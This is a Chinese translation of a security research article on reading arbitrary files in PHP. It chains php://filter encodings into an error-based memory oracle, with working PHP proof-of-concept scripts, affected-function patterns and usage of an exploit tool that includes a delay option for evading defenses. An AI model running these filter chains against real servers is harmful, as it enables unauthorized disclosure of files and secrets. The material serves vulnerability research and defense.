本文介绍了如何在使用PHP中的包装器filter实现任意文件读取攻击全过程,涉及的主要技术有:
- 任意文件读取
- filter新式攻击
- filter编码技巧
- 自动化漏洞利用
翻译来源:
https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle
Filter链所造成的危害的潜力从不会让攻击方感到意外,在PHP文件包含函数中使用filter chain会导致远程代码执行,本文发现PHP Filter链还会导致文件读取漏洞,造成这个漏洞的原因是基于错误的oracle。
这种攻击方法第一次出现在202年的DownUnderCTF中, @hash_kitten
发起了一个challenge,要求解题者使用基于 Dockerfile
和代码片段的基础环境找到 /flag
文件。
FROM php:8.1-apache RUN mv "$PHP_INI_DIR/php.ini-production" "$PHP_INI_DIR/php.ini" COPY index.php /var/www/html/index.php COPY flag /flag
index.php
文件包含的内容如下。
PHP函数file
读取一个文件,但不输出其内容,这意味着Apache服务器的响应中不会显示任何内容。
直到CTF结束,也没有人解决完成这个挑战,在WriteUp发布之后,Hash_kitten解释了文件可能通过基于错误的oracle方式泄露。
这篇文章详细介绍了这次攻击中涉及的几个filter链技巧,以及原有攻击方式的优化,还将讨论常见的模式和限制,因为PHP中受影响的函数数量比最初预期的要多。最后,开发了一个工具来自动化漏洞利用过程,其功能将在本文末尾详细介绍。
php://filter
能够实现特别多样的操作,允许任意操作本地文件内容。
攻击的策略如下:
1.使用iconv
filer,其编码以指数方式增加数据大小,从而可以触发内存错误。
2.使用 dechunk
filter来确定文件的第一个字符。
3.对于具有不同字节顺序的编码,再次使用 iconv
filter,将剩余字符与第一个字符交换。
iconv
函数允许自定义字符串的编码,也可以由 php://filter
调用,因为有些编码能够产生复制字节的效果,如UNICODE
和UCS-4
编码,但需要在两个和四个字节定义字符。
$ php -r '$string = "START"; echo strlen($string)."\n"; 5 $ php -r '$string = "START"; echo strlen(iconv("UTF8", "UNICODE", $string))."\n";' 12 $ php -r '$string = "START"; echo strlen(iconv("UTF8", "UCS-4", $string))."\n";' 20
字符串 START
的长度为5字节,如果以 UNICODE
编码,则乘以2,再加上自定义BOM的2个字节。本文使用的编码技巧是 UCS-4
编码的,因为它使用4个字节。
UCS-4 stands for "Universal Character Set coded in 4 octets." It is now treated sim- ply as a synonym for UTF-32, and is considered the canonical form for representation of characters in 10646.
这些编码可以多次使用,下面的输出显示了字符串 START
在两次调用 UCS-4LE
后是如何被修改的。
需要注意的是,使用 UCS-4LE
而不是 UCS-4
来保持前导字符( leading character)在chain的开头,然后字符会被oracle泄露。
$ php -r '$string = "START"; echo iconv("UTF8", "UCS-4LE", $string);' | xxd 00000000: 5300 0000 5400 0000 4100 0000 5200 0000 S...T...A...R... 00000010: 5400 0000 T... $ php -r '$string = "START"; echo iconv("UTF8", "UCS-4LE",iconv("UTF8", "UCS-4LE", $string));' | xxd 00000000: 5300 0000 0000 0000 0000 0000 0000 0000 S............... 00000010: 5400 0000 0000 0000 0000 0000 0000 0000 T............... 00000020: 4100 0000 0000 0000 0000 0000 0000 0000 A............... 00000030: 5200 0000 0000 0000 0000 0000 0000 0000 R............... 00000040: 5400 0000 0000 0000 0000 0000 0000 0000 T...............
在PHP中,php.ini
的 memory_limit
参数代表了资源限制,根据文档,它的默认值是128MB,如果试图读取大于此大小的文件,那么会触发错误。
Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate XXXXXXXXXX bytes)
下面的脚本对字符串START
使用了13次UCS-4LE
编码。
<?php $string = "START"; for ($i = 1; $i <= 13; $i++) { $string = iconv("UTF8", "UCS-4LE", $string); }
然后就可以看到有足够的大小1导致溢出了。
$ php iconv.php
Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 83886144 bytes) in /tmp/iconv.php on line 6
使用多次UCS-4编码START后的图:
根据PHP文档描述,php://filter
中的dechunk方法可以实现分块传输编码,传输的第一个表示数据块的长度,后面是传输的数据:
https://github.com/php/php-src/blob/PHP-8.1.16/ext/standard/filters.c#L1724
https://en.wikipedia.org/wiki/Chunked_transfer_encoding#Encoded_data
5\r\n (chunk length) Chunk\r\n (chunk data) f\r\n (chunk length) PHPfiltersrock!\r\n (chunk data)
下面的例子阐述了这个方法:
$ echo "START" > /tmp/test $ php -r 'echo file_get_contents("php://filter/dechunk/resource=/tmp/test");' START $ echo "0TART" > /tmp/test $ php -r 'echo file_get_contents("php://filter/dechunk/resource=/tmp/test");' $ echo "ATART" > /tmp/test $ php -r 'echo file_get_contents("php://filter/dechunk/resource=/tmp/test");' $ echo "aTART" > /tmp/test $ php -r 'echo file_get_contents("php://filter/dechunk/resource=/tmp/test");' $ echo "GTART" > /tmp/test $ php -r 'echo file_get_contents("php://filter/dechunk/resource=/tmp/test");' GTART
当第一个字符是十六进制中的( [0-9]
、 [a-f]
、 [A-F]
)时,文件内容在使用 dechunk
filter时会被丢弃,这是因为十六进制长度后面没有CRLF,将会导致解析失败。
因此,如果第一个字符是十六进制值,输出将为空,整个链发生改变,会触发 memory_limit
错误,将两种方法结合起来使用就是:
<?php $size_bomb = ""; for ($i = 1; $i <= 13; $i++) { $size_bomb .= "convert.iconv.UTF8.UCS-4|"; } $filter = "php://filter/dechunk|$size_bomb/resource=/tmp/test"; echo file_get_contents($filter);
$ echo 'GSTART' > /tmp/test $ php oracle.php Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 117440512 bytes) in /tmp/oracle.php on line 10 $ echo 'aSTART' > /tmp/test $ php oracle.php
现在已经可以确定前向字符什么时候是十六进制,然后需要一种确定性的方法来转换范围内的任何字符,并且要减少来自oracle的爆破的可能值的数量,可以使用 convert.base64-encode
filter。
下面开始确定字符是在 [a-e]
还是 [A-E]
内的链开始,首先是片假名主机(Katakana Host):扩展的SBCS编解码器(extended SBCS codec),它是 CP930
或X-IBM930的别名。
https://www.fileformat.info/info/charset/x-IBM930/encode.htm
ASCII编解码器表
x0 | x1 | x2 | x3 | x4 | x5 | x6 | x7 | x8 | [...] | xf | |
---|---|---|---|---|---|---|---|---|---|---|---|
[...] | |||||||||||
6x | ` | a | b | c | d | e | f | g | h | [...] | o |
[...] |
X-IBM-930编解码器表
x0 | x1 | x2 | x3 | x4 | x5 | x6 | x7 | x8 | [...] | xf | |
---|---|---|---|---|---|---|---|---|---|---|---|
[...] | |||||||||||
6x | - | / | a | b | c | d | e | f | g | [...] | ? |
[...] | |||||||||||
cx | { | A | B | C | D | E | F | G | H | [...] | |
[...] | |||||||||||
fx | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | [...] | Ÿ |
在 X-IBM-930
中,从 a
到 f
的字符移动了1,大写字母和数字也设置在不同于ASCII表的索引上,例如 cX
和 fX
,因为可以防止与其他base64编码值的冲突。
下面看看这种编码的作用:
<?php $guess_char = ""; for ($i=1; $i <= 7; $i++) { $remove_junk_chars = "convert.quoted-printable-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-encode|"; $guess_char .= "convert.iconv.UTF8.UNICODE|convert.iconv.UNICODE.CP930|$remove_junk_chars"; $filter = "php://filter/$guess_char/resource=/tmp/test"; echo "IBM-930 conversions : ".$i; echo ", First char value : ".file_get_contents($filter)[0]."\n"; }
$ echo 'aSTART' > /tmp/test $ php oracle.php IBM-930 conversions : 1, First char value : b IBM-930 conversions : 2, First char value : c IBM-930 conversions : 3, First char value : d IBM-930 conversions : 4, First char value : e IBM-930 conversions : 5, First char value : f IBM-930 conversions : 6, First char value : g IBM-930 conversions : 7, First char value : h
$remove_junk_chars
子链用于从链中删除不可打印的字符, $guess_char
用于X-IBM-930编解码器。最后,循环打印转换后的文件内容的第一个字符。如图,编解码器得到了正确使用效果:每次进行转换时,字符都会移动一个。
现在看看基于发生错误的oracle会产生什么:
<?php $size_bomb = ""; for ($i = 1; $i <= 13; $i++) { $size_bomb .= "convert.iconv.UTF8.UCS-4|"; } $guess_char = ""; $index = 0; for ($i=1; $i <= 6; $i++) { $remove_junk_chars = "convert.quoted-printable-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-encode|"; $guess_char .= "convert.iconv.UTF8.UNICODE|convert.iconv.UNICODE.CP930|$remove_junk_chars"; $filter = "php://filter/$guess_char|dechunk|$size_bomb/resource=/tmp/test"; file_get_contents($filter); echo "IBM-930 conversions : ".$i.", the first character is "."edcba"[$i-1]."\n"; }
$ echo 'aSTART' > /tmp/test $ php oracle.php IBM-930 conversions : 1, the first character is e IBM-930 conversions : 2, the first character is d IBM-930 conversions : 3, the first character is c IBM-930 conversions : 4, the first character is b IBM-930 conversions : 5, the first character is a Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 115036160 bytes) in /tmp/oracle.php on line 16 $ echo 'cSTART' > /tmp/test $ php oracle.php IBM-930 conversions : 1, the first character is e IBM-930 conversions : 2, the first character is d IBM-930 conversions : 3, the first character is c Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 68288512 bytes) in /tmp/oracle.php on line 16 $ echo 'GSTART' > /tmp/test $ php oracle.php Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 75497472 bytes) in /tmp/oracle.php on line 16
可以发现,通过利用oracle,可以精确地确定链的第一个字符是 a
、 b
、 c
、 d
还是 e
。
通过使用更多的filter可以让$guess_char
产生更多的可能性,比如可以通过添加 string.rot13
过滤器以相同的方式泄漏:字符 n
、 o
、 p
、 q
和 r
。
<?php $string = "START"; $size_bomb = ""; for ($i = 1; $i <= 13; $i++) { $size_bomb .= "convert.iconv.UTF8.UCS-4|"; } $guess_char = ""; $index = 0; for ($i=1; $i <= 6; $i++) { $remove_junk_chars = "convert.quoted-printable-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-encode|"; $guess_char .= "convert.iconv.UTF8.UNICODE|convert.iconv.UNICODE.CP930|$remove_junk_chars|"; $rot13filter = "string.rot13|"; $filter = "php://filter/$rot13filter$guess_char|dechunk|$size_bomb/resource=/tmp/test"; file_get_contents($filter); echo "IBM-930 conversions : ".$i.", the first character is "."rqpon"[$i-1]."\n"; }
$ echo 'nSTART' > /tmp/test $ php oracle.php IBM-930 conversions : 1, the first character is r IBM-930 conversions : 2, the first character is q IBM-930 conversions : 3, the first character is p IBM-930 conversions : 4, the first character is o IBM-930 conversions : 5, the first character is n Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 115036160 bytes) in /tmp/oracle.php on line 17 $ echo 'rSTART' > /tmp/test $ php oracle.php IBM-930 conversions : 1, the first character is r Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 81788928 bytes) in /tmp/oracle.php on line 17 $ echo 'GSTART' > /tmp/test $ php oracle.php Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 75497472 bytes) in /tmp/oracle.php on line 17
这个方法可以识别绝大多数的字符。
用于识别数字的技巧非常巧妙:只需对字符串进行第二次base64编码,并重新使用前一个泄露的字母,查找数字时,可以发现其base64编码值的第一个字符将始终是 M
、 N
或 O
。
$ echo -n '0' | base64 MA== $ echo -n '1' | base64 MQ== $ echo -n '2' | base64 Mg== $ echo -n '3' | base64 Mw== $ echo -n '4' | base64 NA== [...] $ echo -n '9' | base64 OQ==
字符 0
到 3
将产生前导 M
, 4
到 7
产生前导 N
, 8
到 9
产生前导 O
,每个base64字符可以表示为6位的二进制值,而每个ASCII字符都表示为8位的二进制值,以下模式显示了 0a
如何表示使用ASCII和base64表示。
只需要确定前两个字符来检索相应的数字,已经知道如何确定第一个字符,并将在下面中看到如何读取后续字符。
第一个字符将始终是 M
、 N
或 O
,第二个字符将取决于数字后面的字符。对于给定的数字,只有后面字符的前四个字节将决定第二个base64字符。此外,由于数字后面的字符已经是base64编码字符串的一部分,因此只有下面六种可能性:
字符 | 二进制值 |
---|---|
+ | 00101011 |
/ | 00101111 |
0 | 00110000 |
9 | 00111001 |
A | 01000001 |
Z | 01011010 |
a | 01100001 |
z | 01111010 |
在某些情况下,base64编码产生的第二个字符“3”和“7”可以加数字。但是由于他们没有相同的前向字符,所以可以区分他们,下表总结了可能的组合:
字符 | base64编码的第一个字符 | base64编码的第二个字符 |
---|---|---|
0 | M | C, D, E, F, G or H |
1 | M | S, T, U, V, W or X |
2 | M | i, j, k, l, m or n |
3 | M | y, z or a number |
4 | N | C, D, E, F, G or H |
5 | N | S, T, U, V, W or X |
6 | N | i, j, k, l, m or n |
7 | N | y, z or a number |
8 | O | C, D, E, F, G or H |
9 | O | S, T, U, V, W or X |
需要通过使用额外的编码,以同样的方式检索其他字符。 Z
字符(在ASCII表中表示为 0x5A
)在IBM285编解码器中被编码为 !
,IBM285编解码表如下:
x0 | x1 | x2 | [...] | x9 | xa | xb | xc | xd | xe | xf | |
---|---|---|---|---|---|---|---|---|---|---|---|
[...] | |||||||||||
5x | ' | é | ê | ß | ! | £ | * | ) | ; | ¬ | |
[...] |
当 !
字符从IBM285编码到IBM280编码,它的十六进制值变成 0x4F
,IBM280编解码表:
x0 | x1 | x2 | [...] | x9 | xa | xb | xc | xd | xe | xf | |
---|---|---|---|---|---|---|---|---|---|---|---|
[...] | |||||||||||
4x | â | ñ | $ | . | < | ( | + | ! | |||
[...] |
值 0x4F
会与ASCII表中的字符 O
匹配,通过使用ROT12,再变成B
,dechunk
filter可以用来触发oracle,ASCII码表:
x0 | x1 | x2 | [...] | x9 | xa | xb | xc | xd | xe | xf | |
---|---|---|---|---|---|---|---|---|---|---|---|
[...] | |||||||||||
4x | @ | A | B | [...] | I | J | K | L | M | N | O |
[...] |
如此下来,就可以确定泄露的字符为Z
。
现在已经能够精确地确定字符串的第一个字符,下面看看如何将攻击扩展到字符串中任何位置的字符。
通过乘2或乘4使用内存字节顺序来反转字节,如下所示,其中前4个字节可以作为字符串的前导字符。
$ echo -n abcdefgh > /tmp/test $ php -r 'echo file_get_contents("php://filter/convert.iconv.UTF16.UTF-16BE/resource=/tmp/test")."\n";' badcfehg $ php -r 'echo file_get_contents("php://filter/convert.iconv.UCS-4.UCS-4LE/resource=/tmp/test")."\n";' dcbahgfe $ php -r 'echo file_get_contents("php://filter/convert.iconv.UCS-4.UCS-4LE|convert.iconv.UTF16.UTF-16BE/resource=/tmp/test")."\n";' cdabghef
现在如何检索更大范围的字符呢?这一部分是对原方法的优化,方法是生成两个字节的数据,然后使用 UCS-4LE
编码使其旋转,最后删除之前添加的数据,如下使用多种编码检索字符串第5个字符的过程:
现在就可以联合已经发现的方法来访问文件中的任何字符了。
如果您使用过UCS-4
编码,会知道 UCS-4
只能编码大小是4的精确倍数的字符串,但由于文件的大小也计算好了,所以oracle还是会触发,尽管系统会产生编码警告,下面的例子阐述了这个原理:
<?php $size_bomb = ""; for ($i = 1; $i <= 20; $i++) { $size_bomb .= "convert.iconv.UTF8.UCS-4|"; } $guess_char = ""; $index = 0; for ($i=1; $i <= 6; $i++) { $remove_junk_chars = "convert.quoted-printable-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-encode|"; $guess_char .= "convert.iconv.UTF8.UNICODE|convert.iconv.UNICODE.CP930|$remove_junk_chars"; $swap_bits = "convert.iconv.UTF16.UTF16|convert.iconv.UCS-4LE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UCS-4LE.UCS-4|"; $filter = "php://filter/$swap_bits$guess_char|dechunk|$size_bomb/resource=/tmp/test"; file_get_contents($filter); echo "IBM-930 conversions : ".$i.", the fifth character is "."edcba"[$i-1]."\n"; }
$ echo '1234a67' > /tmp/test $ php oracle.php Warning: file_get_contents(): iconv stream filter ("UCS-4LE"=>"UCS-4"): invalid multibyte sequence in /tmp/oracle.php on line 16 IBM-930 conversions : 1, the fifth character is e Warning: file_get_contents(): iconv stream filter ("UCS-4LE"=>"UCS-4"): invalid multibyte sequence in /tmp/oracle.php on line 16 IBM-930 conversions : 2, the fifth character is d Warning: file_get_contents(): iconv stream filter ("UCS-4LE"=>"UCS-4"): invalid multibyte sequence in /tmp/oracle.php on line 16 IBM-930 conversions : 3, the fifth character is c Warning: file_get_contents(): iconv stream filter ("UCS-4LE"=>"UCS-4"): invalid multibyte sequence in /tmp/oracle.php on line 16 IBM-930 conversions : 4, the fifth character is b Warning: file_get_contents(): iconv stream filter ("UCS-4LE"=>"UCS-4"): invalid multibyte sequence in /tmp/oracle.php on line 16 IBM-930 conversions : 5, the fifth character is a Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 110796800 bytes) in /tmp/oracle.php on line 16 $ echo '1234d67' > /tmp/test $ php oracle.php Warning: file_get_contents(): iconv stream filter ("UCS-4LE"=>"UCS-4"): invalid multibyte sequence in /tmp/oracle.php on line 16 IBM-930 conversions : 1, the fifth character is e Warning: file_get_contents(): iconv stream filter ("UCS-4LE"=>"UCS-4"): invalid multibyte sequence in /tmp/oracle.php on line 16 IBM-930 conversions : 2, the fifth character is d Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 101711872 bytes) in /tmp/oracle.php on line 16
当 iconv
引发无效多字节序列的 UCS-4LE
编码警告时,过滤器filter仍在工作,并使字符串大小呈指数级,从而触发内存大小耗尽错误发生。
在研究过程中,有些框架将这种警告视为错误发生,所以在这种情况下,需要将字符串大小更正为4的倍数(对于UCS-4编码)。
现在攻击已经完成了,让看看它可以用在哪些地方。根据文档https://www.php.net/manual/en/wrappers.php.php#refsect1-wrappers.php-options,`php://filter`可以使用在`php://`能使用的地方,具体看下表:
属性 | 可支持的 |
---|---|
Restricted by allow_url_fopen | No |
Restricted by allow_url_include | php://input , php://stdin , php://memory and php://temp only. |
Allows Reading | php://stdin , php://input , php://fd , php://memory and php://temp only. |
Allows Writing | php://stdout , php://stderr , php://output , php://fd , php://memory and php://temp only. |
Allows Appending | php://stdout , php://stderr , php://output , php://fd , php://memory and php://temp only. (Equivalent to writing) |
Allows Simultaneous Reading and Writing | php://fd , php://memory and php://temp only. |
Supports stat() | No. However, php://memory and php://temp support fstat(). |
Supports unlink() | No |
Supports rename() | No |
Supports mkdir() | No |
Supports rmdir() | No |
Supports stream_select() | php://stdin , php://stdout , php://stderr , php://fd and php://temp only. |
根据此表,基本上意味着只要对文件执行操作,包括读取、写入或向文件追加内容,或者使用了链接到该文件的流,那么如果可以控制传递给这些函数的参数,就可能使用过滤器链filter chain并使用基于错误的oracle漏洞攻击。
这个技巧可能比经典的PHP filter链具有更大的适用范围,虽然它不会导致远程代码执行,但实际上默认的PHP文件系统列表中,有83个函数中有15个被证明受到了影响。https://www.php.net/manual/en/ref.filesystem.php
下面是受影响的PHP函数的部分列表。
Function | Pattern |
---|---|
file_get_contents | file_get_contents($_POST[0]); |
readfile | readfile($_POST[0]); |
finfo->file | $file = new finfo(); $fileinfo = $file->file($_POST[0], FILEINFO_MIME); |
getimagesize | getimagesize($_POST[0]); |
md5_file | md5_file($_POST[0]); |
sha1_file | sha1_file($_POST[0]); |
hash_file | hash_file('md5', $_POST[0]); |
file | file($_POST[0]); |
parse_ini_file | parse_ini_file($_POST[0]); |
copy | copy($_POST[0], '/tmp/test'); |
file_put_contents (only target read only with this) | file_put_contents($_POST[0], ""); |
stream_get_contents | $file = fopen($_POST[0], "r"); stream_get_contents($file); |
fgets | $file = fopen($_POST[0], "r"); fgets($file); |
fread | $file = fopen($_POST[0], "r"); fread($file, 10000); |
fgetc | $file = fopen($_POST[0], "r"); fgetc($file); |
fgetcsv | $file = fopen($_POST[0], "r"); fgetcsv($file, 1000, ","); |
fpassthru | $file = fopen($_POST[0], "r"); fpassthru($file); |
fputs | $file = fopen($_POST[0], "rw"); fputs($file, 0); |
除此之外,其他模块中的其他功能也可能受到影响。例如,exif模块中的 exif_imagetype
函数也可以这样利用,核心是只要对文件内容执行了任何操作,那么该函数就可能受到 php://filter
包装器的影响。
尽管这个问题乍一看很可怕,但因为有几个限制会使其利用变得不那么常见。
只有试图读取、写入或追加数据的函数与 php://filter
包装器兼容。一旦用 file_exists
或 is_file
等函数控制输入字符串,漏洞就不会被攻击,因为两者都在内部调用 stats
,并不支持包装器。
$ echo "START" > /tmp/test $ php -r 'var_dump(is_file("/tmp/test"));' bool(true) $ php -r 'var_dump(is_file("php://filter/dechunk/resource=/tmp/test"));' bool(false) $ php -r 'var_dump(file_exists("/tmp/test"));' bool(true) $ php -r 'var_dump(file_exists("php://filter/dechunk/resource=/tmp/test"));' bool(false)
由于需要越来越多的过滤器filter来泄漏文件的最后一个字符,因此攻击链的大小将很快溢出,GET请求无法使用,无法通过这些用户输入成功利用,这也是为什么当封装在HTTP PUT或POST请求的嵌入参数中时,这个攻击会更合理和容易成功。
最后还应该注意,如果需要成功利用,需要发出许多请求来提取文件的全部内容,举例来说,假设有一个746个字符长的文件,完全泄漏并读取将需要大约14k个请求,最新的payload大小大约为50KB,下面是用于读取包含746个字符的文件的最后一个字符时请求的示例图:
基于@hash_kitten的文章开发了一个工具,并在这篇文章中提到了更多的技巧和优化方法。它可以在GitHub存储库中找到。
https://github.com/synacktiv/php_filter_chains_oracle_exploit
https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal-php/solve/solution.py
工具目前允许选择一个目标,用于注入的POST参数和一个代理(如果需要查看请求的话就可以使用代理):
$ python3 filters_chain_oracle_exploit.py --help usage: filters_chain_oracle_exploit.py [-h] --target TARGET --file FILE --parameter PARAMETER [--data DATA] [--headers HEADERS] [--verb VERB] [--proxy PROXY] [--time_based_attack TIME_BASED_ATTACK] [--delay DELAY] Oracle error based file leaker based on PHP filters. Author of the tool : @_remsio_ Trick firstly discovered by : @hash_kitten ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ $ python3 filters_chain_oracle_exploit.py --target http://127.0.0.1 --file '/test' --parameter 0 [*] The following URL is targeted : http://127.0.0.1 [*] The following local file is leaked : /test [*] Running POST requests [+] File /test leak is finished! b'SGVsbG8gZnJvbSBTeW5hY2t0aXYncyBibG9ncG9zdCEK' b"Hello from Synacktiv's blogpost!\n" optional arguments: -h, --help show this help message and exit --target TARGET URL on which you want to run the exploit. --file FILE Path to the file you want to leak. --parameter PARAMETER Parameter to exploit. --data DATA Additionnal data that might be required. (ex : {"string":"value"}) --headers HEADERS Headers used by the request. (ex : {"Authorization":"Bearer [TOKEN]"}) --verb VERB HTTP verb to use POST(default),GET(~ 135 chars by default),PUT,DELETE --proxy PROXY Proxy you would like to use to run the exploit. (ex : http://127.0.0.1:8080) --time_based_attack TIME_BASED_ATTACK Exploits the oracle as a time base attack, can be improved. (ex : True) --delay DELAY Set the delay in second between each request. (ex : 1, 0.1)
下面是环境搭建的Dockerfile
文件and index.php
文件。
FROM php:8.1-apache RUN mv "$PHP_INI_DIR/php.ini-production" "$PHP_INI_DIR/php.ini" COPY index.php /var/www/html/index.php COPY test /test
<?php
sha1_file($_POST[0]);
正常情况下使用sha1_file
函数,甚至不能返回文件的真实内容,但却可以通过本文的方法获得 /test
的文件内容,使用filters_chain_oracle_exploit工具进行渗透的过程:
同时还支持其他模式,允许基于服务器的响应延迟进行攻击,或者为每个请求设置延迟,能够绕过防御。
PHP filter可以说代表了一把真正的瑞士军刀,因为它们可以用在很多方面,从传递函数参数获得代码执行,到一个能够泄露本地文件内容,正如在这篇文章中看到的一样。同时受此问题影响的范围可能会更大,有数十个PHP函数受到影响。本文认为 php://filter
应该受到更多的限制,可以限制单个链中filter的使用数量。